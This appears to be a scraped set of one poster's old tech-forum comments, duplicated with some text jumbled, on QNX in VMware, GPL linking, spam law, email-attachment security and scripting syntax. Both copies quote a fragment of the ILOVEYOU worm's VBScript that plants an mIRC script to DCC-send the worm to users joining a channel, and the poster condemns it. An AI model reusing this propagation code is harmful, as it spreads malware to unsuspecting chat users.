Has anyone been able to boot QNX on VMware? It dies hard after the bootloader finished loading the kernel. Here is the dump from the log. Maybe it dosent like the VMware virtual IDE cdrom drive.
Please report this problem by selecting Help > Support,
or by going to "http://www.vmware.com/forms/workstation/support.c fm".
Please provide us with the log file (/home/username/vmware/QNX/QNX.log)
and the core file (vmware-core)
from the current directory (/home/username/vmware/QNX).
If the problem is repeatable, please set the logging level
to `Debug' in the Misc panel. Then reproduce the incident
and file it according to instructions.
We appreciate your feedback
-- the VMware Workstation team
Sep 25 21:26:15: changing state 0 from 1872 to 1870
Sep 25 21:26:15:
MainPowerOff-- Shutting down devices
Hope someone out there has got it to boot on vmware:)
and more reliable. bind 8 on linux sucked rocks, dumped core all of the time. djbdns/tinydns is great.
BIND 8 is quite stable. Sounds like you were getting stack smashed to me.
The software doesn't commit the violation, users that use it do.
Just like Napster, DeCSS, etc.
Its just a tool. lets be consistent here.
The software can be used for legitimate means.
Yes and No, Sun is _DISTRIBUTING_ a binary program for Linux. They do not provide the source. You take that binary run it through their thingamujig and it pops out an x86 solaris binary.The problem is not with the thingamujig, it is with _DISTRIBUTING_ a Linux binary.
US units are easier to use because they divide EVENLY by many more factors than metric units.
Ah! I see that you have never had to work on your old Chevy. Now what's bigger than a 9/16 ? Screw all of that! With metic I can LOOK at the damn nut and know its a 14mm. If I guess wrong, it's most likley a 15mm.
So any program compiled with GCC/G++ must be licensed under the GPL or compatible to it?? I don't think
that's how it works.
No, that is not what I said. I said the opposite of that. What I am asking is, does it break the GPL to compile and distribute GPL software if it is linked to non-free/non-GPL libs. If I remember correctly, the GPL says nothing about "system libraries".
The GPL only applies if you DISTRIBUTE the software.
So I will ask again.
Is it a violation of the GPL to compile GPL software with a non-free/non-GPL compiler/libs and distribute it?
I want to use KDE code in GPLed GNOME code! I want to use GPLed GNOME code within KDE!
The only problem I see is that if you DISTRIBUTE KDE linked to QT libs, precompiled. You can swap the KDE and GNOME code all you want without ANY problems. If I am dead wrong about this, some please explain it to me.
I was thinking about this yesterday. VNC is ditributed under the GPL, but the precompiled distro for Windows is compiled under Microsoft Visual C++. Does this break the GPL the same way KDE did? They are both linking to non-GPL compatable libs. How many other projects are done this way?
I, myself view things this way (I'm sure that I am wrong minded about this), If the copyright holders of both the GPL program and libs have no beef with each of them being linked together, there is no problem. The problem is academic. (sp?) Wonder if emacs or other FSF software has ever been compiled with a non-free compiler/libs and distributed?
The school board agreed with us and T-shirts which glorify alchohol, sex and violence or contain obscene words.
The school board agrees with you and T-shirts which glorify alchohol, sex and violence or contain obscene words? Rock on! I like sex,violence and obscene words myself!
I would love to see how the law was worded, if this guy is a product of their local school system. Who cares if those children learn anything, they might be wearing shirts that glorify alchohol, sex, violence or contain obscene words.
As far as I can tell it simply makes Linux look like the favourite OS of young geeks who don't make decisions in companies. It says nothing about the product, it doesn't even say anything about MS products, it simply preaches to the converted, and looks juvenile and silly.
They are selling hardware for the Linux Operating System. Of course they are selling to the converted.
It boils down to using a traditional and effective compensation method (bounty) on an act that infringes on others' rights. What great freedom of yours is being lost?
Anyone that knows RFC822 knows that any compliant MTA shows where it gets mail from. You have an audit trail of where that mail came from in each and every message. If that is not enough information, you can call the admin of each MTA the offending message went through. There is no need for any kind of government regulation.
If you don't want spam, get an ISP that uses the RBL.
If the government starts dictating what can be in email headers, the technical reasons information is placed in those headers can be restricted.
I would rather deal with some spam and follow RFCs than have a little spam and have goverment regulated RFCs
seriously, though, this is definately needed. i think we are all victims of spam, and it's time somehthing is done about it. filter all you want, you can't catch everything. or can you? it would be interesting to know what filters people use and how succesfull they are.
I have not read the bill or anything, but I think that it sounds like a Bad Idea. We can take care of these problems ourselves. There is no need to have the US government police our networks in this manner.
I will accept a little spam if I can keep all of my liberty.
I know it's called security. That's why you only run secure services. If they aren't secure, you secure them. The theory behind a firewall is that it is placed in front of already-secure hosts. If you're placing a firewall in front of hosts that aren't secure, you're just kidding yourself.
The reason I would do the same is to keep 109Mb/sec of data from hitting my server needlessly. I am no expert, but I would imagine that with that amount of traffic it would stress the system. Why stress the system when you can filter out the evil packets?
This is similar to special provisions of 'original author' in licences such as NPL, often criticized exactly for this. Or am I getting it wrong? Contrast this to programs such as Linux kernel, where the copyright is so distributed, that re-licensing will never be possible.
I don't know where you got the idea that the kernel's copyright "was distributed". Linus holds that copyright. If you steal his code, he can come after you. Just because you GPL a program does not mean that you give up your rights to that program. If you send patches to the owner of that package, you DO give up your rights to that code.
Linus can say poof, the kernel is closed and any new releases will be under the Microsoft EULA. The only thing we could do is take the last GPL'd kernel and work on it from there. I doubt that will happen, because no one would use the new closed kernel.
Well, the key phrase in your post is "our mail clients", as if there was some board of directors making decisions about what goes into mail clients.
No, I mean *nix users. I forget that there are people on/. that do use that other OS;)
At some point, the mail client will detect a script and ask some question like, "This appears to be a program. Many programs contain viruses. Would you like to execute it anyway?" -- somewhat like the warning in Windows, isn't it?
Well, that is not what I said it should do. It should allow you to save it to disk, or open it in notepad. PERIOD. End of story. Most people will not find where they saved it to. It would slow these things down. A worm/virus would not be able to propagate so quickly if this was done.They need to fix this problem.
The point about permissions is a good one, but it is often useful to be able to execute an attachment in an e-mail, and if Linux/Unix ever manages to rise above the micro-level as a desktop OS, these problems will follow.
About the only good thing I can thing of is to view an image. Everything else should be saved to disk or opened in a text editor. It dosent matter what OS it is;)
I have found the most frustrating thing about vb scripting under asp is the syntax. Such as
response.write "This is a line 1." & vblf _ & "This is line 2." & vblf _ & "This is the last line"
I like php3 and perl. You can do this...
print ("This is line 1. This is line 2. This is the last line");
With that little ; you know where the end of the line is. It makes tracking down syntax errors _ALOT_ faster.
ASP does have some nice real world features to it that make things easy, such as formatcurrency(). I hate having to write a function to format a number as currency.
On the other hand, I _LOVE_ how php3 will assign values to variables that posted to a page. No more request("variable") or request.cookies("variable"). You get $variable.
Linux could be susceptible to a similar type of virus written as a shell script).
This is not a flame at you, but I would like to rebutt this statement. It's Waaaay Off Topic, but who cares about karma:)
With any *nix OS, you will have to set the execute bit on the script before it will run. By allowing people to execute any old program from their mail client, you get these types of viruses. The reason we do not have these types of problems with our mail clients has EVERYTHING to do with the *nix security model. Just because a programs filename ends with.pl does not mean it will run. In an email client the same should be for.vbs.vbe.exe.doc.mdb.xls etc. Under windows you HAVE NO PROTECTION from yourself. What should have happened when someone clicked on those files, was prompt you to save the file or open in in notepad. Period. That would fix the problem, but I don't seem to see a hot patch from the windows email client vendors. I guess they don't care!
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then set scriptini=fso.CreateTextFile(folderspec&"\script.i ni") scriptini.WriteLine "[script]" scriptini.WriteLine ";mIRC Script" scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will" scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks" scriptini.WriteLine ";" scriptini.WriteLine ";Khaled Mardam-Bey" scriptini.WriteLine ";http://www.mirc.com" scriptini.WriteLine ";" scriptini.WriteLine "n0=on 1:JOIN:#:{" scriptini.WriteLine "n1=/if ( $nick == $me ) { halt }" scriptini.WriteLine "n2=/.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" scriptini.WriteLine "n3=}" scriptini.close eq=folderspec end if
Is it making a script for mIRC?? Damn, thats evil.
The real question becomes: "How do we extend internet protocols to handle ping latencies ranging anywhere from seconds to centuries?" The new protocols should have redundant transmissions and *very* large buffer caches. Timeouts shouldn't occur until some multiple of the latency has passed.
How about this, if the objective is Earth<->Mars, you have several artifical sats that orbit the sun. You route through these sats using a potocol _LIKE_ BGP routing. You may even be able to make the routing protocol smart enough to know its position in space and select the best next hop. By breaking the trip down into smaller hops, data integrity can be checked at each hop.
So, in other words, you're attacking an ethical position with a merely practical argument. It's like saying, "Most people won't be persuaded by the statement, 'Thou shall not kill,' so obviously the statement is ethically incorrect (or irrelevant?)."
Don't you mean, 'Thou shall not murder'. Killing is _NOT_ a crime. There is a thing such as justifiable homicide.
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Has anyone been able to boot QNX on VMware? It dies hard after the bootloader finished loading the kernel. Here is the dump from the log. Maybe it dosent like the VMware virtual IDE cdrom drive.
/dev/cdrom failed: Invalid argument
/dev/cdrom failed: Invalid argument
/dev/cdrom failed: Invalid argument
c fm".
:)
Sep 25 21:25:16: License OK
Sep 25 21:25:16: Booting virtual machine
Sep 25 21:25:16:
Sep 25 21:25:17: VBE call 0x4f02 bx 0x0007 cx 0x03d5 es 0xffff di 0x0000
Sep 25 21:25:17: VBE: VGA Mode switch to 7
Sep 25 21:25:18: VBE call 0x4f02 bx 0x0003 cx 0x03c2 es 0xffff di 0x0000
Sep 25 21:25:18: VBE: VGA Mode switch to 3
Sep 25 21:25:18: VBE call 0x4f02 bx 0x0012 cx 0x03b5 es 0x01c1 di 0x7b96
Sep 25 21:25:18: VBE: VGA Mode switch to 18
Sep 25 21:25:27: VBE call 0x4f02 bx 0x0003 cx 0x0925 es 0x6888 di 0x69c1
Sep 25 21:25:27: VBE: VGA Mode switch to 3
Sep 25 21:25:33: DISK/CDROM timeout of 2.673 seconds (ok)
Sep 25 21:25:39: ATAPI_CDROM: read for
Sep 25 21:25:39: DISK/CDROM timeout of 5.237 seconds (ok)
Sep 25 21:25:41: ATAPI_CDROM: read for
Sep 25 21:25:42: DISK/CDROM timeout of 1.345 seconds (ok)
Sep 25 21:25:43: ATAPI_CDROM: read for
Sep 25 21:25:43: DISK/CDROM timeout of 1.204 seconds (ok)
Sep 25 21:25:45: DISK/CDROM timeout of 1.140 seconds (ok)
Sep 25 21:25:49: DISK/CDROM timeout of 1.225 seconds (ok)
Sep 25 21:25:53: F(128):1445 warning 0080:ff812c0f MOV (was 3407) count 0
Sep 25 21:25:53: NOT_IMPLEMENTED at 0x25d8e 1923
Sep 25 21:25:53: MONITOR ERROR NOT_IMPLEMENTED at 0x25d8e 1923
Sep 25 21:25:53: Coredump with build $Name: build-621 $
Sep 25 21:25:53: Writing monitor corefile 'vmware-core'
Sep 25 21:25:54: Msg_Post Error: msg.log.monpanic
*** VMware Workstation internal monitor error ***
NOT_IMPLEMENTED at 0x25d8e 1923
Please report this problem by selecting Help > Support, or by going to "http://www.vmware.com/forms/workstation/support.
Please provide us with the log file (/home/username/vmware/QNX/QNX.log) and the core file (vmware-core) from the current directory (/home/username/vmware/QNX).
If the problem is repeatable, please set the logging level to `Debug' in the Misc panel. Then reproduce the incident and file it according to instructions.
We appreciate your feedback
-- the VMware Workstation team
Sep 25 21:26:15: changing state 0 from 1872 to 1870
Sep 25 21:26:15: MainPowerOff-- Shutting down devices
Hope someone out there has got it to boot on vmware
and more reliable. bind 8 on linux sucked rocks, dumped core all of the time. djbdns/tinydns is great. BIND 8 is quite stable. Sounds like you were getting stack smashed to me.
The software doesn't commit the violation, users that use it do.
:)
Just like Napster, DeCSS, etc.
Its just a tool. lets be consistent here.
The software can be used for legitimate means.
Yes and No, Sun is _DISTRIBUTING_ a binary program for Linux. They do not provide the source. You take that binary run it through their thingamujig and it pops out an x86 solaris binary.The problem is not with the thingamujig, it is with _DISTRIBUTING_ a Linux binary.
But I could be wrong
US units are easier to use because they divide EVENLY by many more factors than metric units.
:)
Ah! I see that you have never had to work on your old Chevy. Now what's bigger than a 9/16 ? Screw all of that! With metic I can LOOK at the damn nut and know its a 14mm. If I guess wrong, it's most likley a 15mm.
Maybe i'm weird like that
... but I always tought it couldn't be that hard to find the full source online, or am I wrong on that?
./ user info :)
Naa, just look real close in my
So any program compiled with GCC/G++ must be licensed under the GPL or compatible to it?? I don't think that's how it works.
No, that is not what I said. I said the opposite of that. What I am asking is, does it break the GPL to compile and distribute GPL software if it is linked to non-free/non-GPL libs. If I remember correctly, the GPL says nothing about "system libraries".
The GPL only applies if you DISTRIBUTE the software.
So I will ask again.
Is it a violation of the GPL to compile GPL software with a non-free/non-GPL compiler/libs and distribute it?
I hope the answer to this question is no.
I want to use KDE code in GPLed GNOME code! I want to use GPLed GNOME code within KDE!
The only problem I see is that if you DISTRIBUTE KDE linked to QT libs, precompiled. You can swap the KDE and GNOME code all you want without ANY problems. If I am dead wrong about this, some please explain it to me.
I was thinking about this yesterday. VNC is ditributed under the GPL, but the precompiled distro for Windows is compiled under Microsoft Visual C++. Does this break the GPL the same way KDE did? They are both linking to non-GPL compatable libs. How many other projects are done this way?
:)
I, myself view things this way (I'm sure that I am wrong minded about this), If the copyright holders of both the GPL program and libs have no beef with each of them being linked together, there is no problem. The problem is academic. (sp?) Wonder if emacs or other FSF software has ever been compiled with a non-free compiler/libs and distributed?
Moderate this as Offtopic/Flamebate/Overrated
I think that you've just done the stupidest thing you could have done.
No, this is the stupidest thing he could have done.
Looks good, how about.....
:)
atomic statements -> functions -> subroutines -> programs -> applications -> operating systems -> hardware
The school board agreed with us and T-shirts which glorify alchohol, sex and violence or contain obscene words.
The school board agrees with you and T-shirts which glorify alchohol, sex and violence or contain obscene words? Rock on! I like sex,violence and obscene words myself!
I would love to see how the law was worded, if this guy is a product of their local school system. Who cares if those children learn anything, they might be wearing shirts that glorify alchohol, sex, violence or contain obscene words.
As far as I can tell it simply makes Linux look like the favourite OS of young geeks who don't make decisions in companies. It says nothing about the product, it doesn't even say anything about MS products, it simply preaches to the converted, and looks juvenile and silly.
They are selling hardware for the Linux Operating System. Of course they are selling to the converted.
It boils down to using a traditional and effective compensation method (bounty) on an act that infringes on others' rights. What great freedom of yours is being lost?
Anyone that knows RFC822 knows that any compliant MTA shows where it gets mail from. You have an audit trail of where that mail came from in each and every message. If that is not enough information, you can call the admin of each MTA the offending message went through. There is no need for any kind of government regulation.
If you don't want spam, get an ISP that uses the RBL.
If the government starts dictating what can be in email headers, the technical reasons information is placed in those headers can be restricted.
I would rather deal with some spam and follow RFCs than have a little spam and have goverment regulated RFCs
seriously, though, this is definately needed. i think we are all victims of spam, and it's time somehthing is done about it. filter all you want, you can't catch everything. or can you? it would be interesting to know what filters people use and how succesfull they are.
;)
I have not read the bill or anything, but I think that it sounds like a Bad Idea. We can take care of these problems ourselves. There is no need to have the US government police our networks in this manner.
I will accept a little spam if I can keep all of my liberty.
Well, what little liberty I have left
I know it's called security. That's why you only run secure services. If they aren't secure, you secure them. The theory behind a firewall is that it is placed in front of already-secure hosts. If you're placing a firewall in front of hosts that aren't secure, you're just kidding yourself.
The reason I would do the same is to keep 109Mb/sec of data from hitting my server needlessly. I am no expert, but I would imagine that with that amount of traffic it would stress the system. Why stress the system when you can filter out the evil packets?
I guess I can see the point. There are alot of modules that are not owned my Linus. I retract my statement ;)
This is similar to special provisions of 'original author' in licences such as NPL, often criticized exactly for this. Or am I getting it wrong? Contrast this to programs such as Linux kernel, where the copyright is so distributed, that re-licensing will never be possible.
I don't know where you got the idea that the kernel's copyright "was distributed". Linus holds that copyright. If you steal his code, he can come after you. Just because you GPL a program does not mean that you give up your rights to that program. If you send patches to the owner of that package, you DO give up your rights to that code.
Linus can say poof, the kernel is closed and any new releases will be under the Microsoft EULA. The only thing we could do is take the last GPL'd kernel and work on it from there. I doubt that will happen, because no one would use the new closed kernel.
Well, the key phrase in your post is "our mail clients", as if there was some board of directors making decisions about what goes into mail clients.
/. that do use that other OS ;)
;)
No, I mean *nix users. I forget that there are people on
At some point, the mail client will detect a script and ask some question like, "This appears to be a program. Many programs contain viruses. Would you like to execute it anyway?" -- somewhat like the warning in Windows, isn't it?
Well, that is not what I said it should do. It should allow you to save it to disk, or open it in notepad. PERIOD. End of story. Most people will not find where they saved it to. It would slow these things down. A worm/virus would not be able to propagate so quickly if this was done.They need to fix this problem.
The point about permissions is a good one, but it is often useful to be able to execute an attachment in an e-mail, and if Linux/Unix ever manages to rise above the micro-level as a desktop OS, these problems will follow.
About the only good thing I can thing of is to view an image. Everything else should be saved to disk or opened in a text editor. It dosent matter what OS it is
You can escape quotes by using "".
:)
example --
response.write "This is a ""test""."
I have found the most frustrating thing about vb scripting under asp is the syntax.
Such as
response.write "This is a line 1." & vblf _
& "This is line 2." & vblf _
& "This is the last line"
I like php3 and perl. You can do this...
print ("This is line 1.
This is line 2.
This is the last line");
With that little ; you know where the end of the line is. It makes tracking down syntax errors _ALOT_ faster.
ASP does have some nice real world features to it that make things easy, such as formatcurrency(). I hate having to write a function to format a number as currency.
On the other hand, I _LOVE_ how php3 will assign values to variables that posted to a page. No more request("variable") or request.cookies("variable"). You get $variable.
I have to program asp at work, but I love php3
Linux could be susceptible to a similar type of virus written as a shell script).
:)
.pl does not mean it will run. In an email client the same should be for .vbs .vbe .exe .doc .mdb .xls etc. Under windows you HAVE NO PROTECTION from yourself. What should have happened when someone clicked on those files, was prompt you to save the file or open in in notepad. Period. That would fix the problem, but I don't seem to see a hot patch from the windows email client vendors. I guess they don't care!
This is not a flame at you, but I would like to rebutt this statement. It's Waaaay Off Topic, but who cares about karma
With any *nix OS, you will have to set the execute bit on the script before it will run. By allowing people to execute any old program from their mail client, you get these types of viruses. The reason we do not have these types of problems with our mail clients has EVERYTHING to do with the *nix security model. Just because a programs filename ends with
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") theni ni") /if ( $nick == $me ) { halt }" /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
set scriptini=fso.CreateTextFile(folderspec&"\script.
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1=
scriptini.WriteLine "n2=
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
Is it making a script for mIRC?? Damn, thats evil.
The real question becomes: "How do we extend internet protocols to handle ping latencies ranging anywhere from seconds to centuries?" The new protocols should have redundant transmissions and *very* large buffer caches. Timeouts shouldn't occur until some multiple of the latency has passed.
How about this, if the objective is Earth<->Mars, you have several artifical sats that orbit the sun. You route through these sats using a potocol _LIKE_ BGP routing. You may even be able to make the routing protocol smart enough to know its position in space and select the best next hop. By breaking the trip down into smaller hops, data integrity can be checked at each hop.
No. The commandment says "Thou shalt not kill".
No, the commandment's actual translation is "Thou shalt not do murder.".
Now shut up, and get back on topic, fatboy.
This is on topic, have you read the interview?
So, in other words, you're attacking an ethical position with a merely practical argument. It's like saying, "Most people won't be persuaded by the statement, 'Thou shall not kill,' so obviously the statement is ethically incorrect (or irrelevant?)."
Don't you mean, 'Thou shall not murder'. Killing is _NOT_ a crime. There is a thing such as justifiable homicide.
There's a large difference between being a communist and a 'Soviet'.
<flamebait>
Yes, communisim is a political method.
The Soviet Union is what you get when you put that method in action.
</flamebait>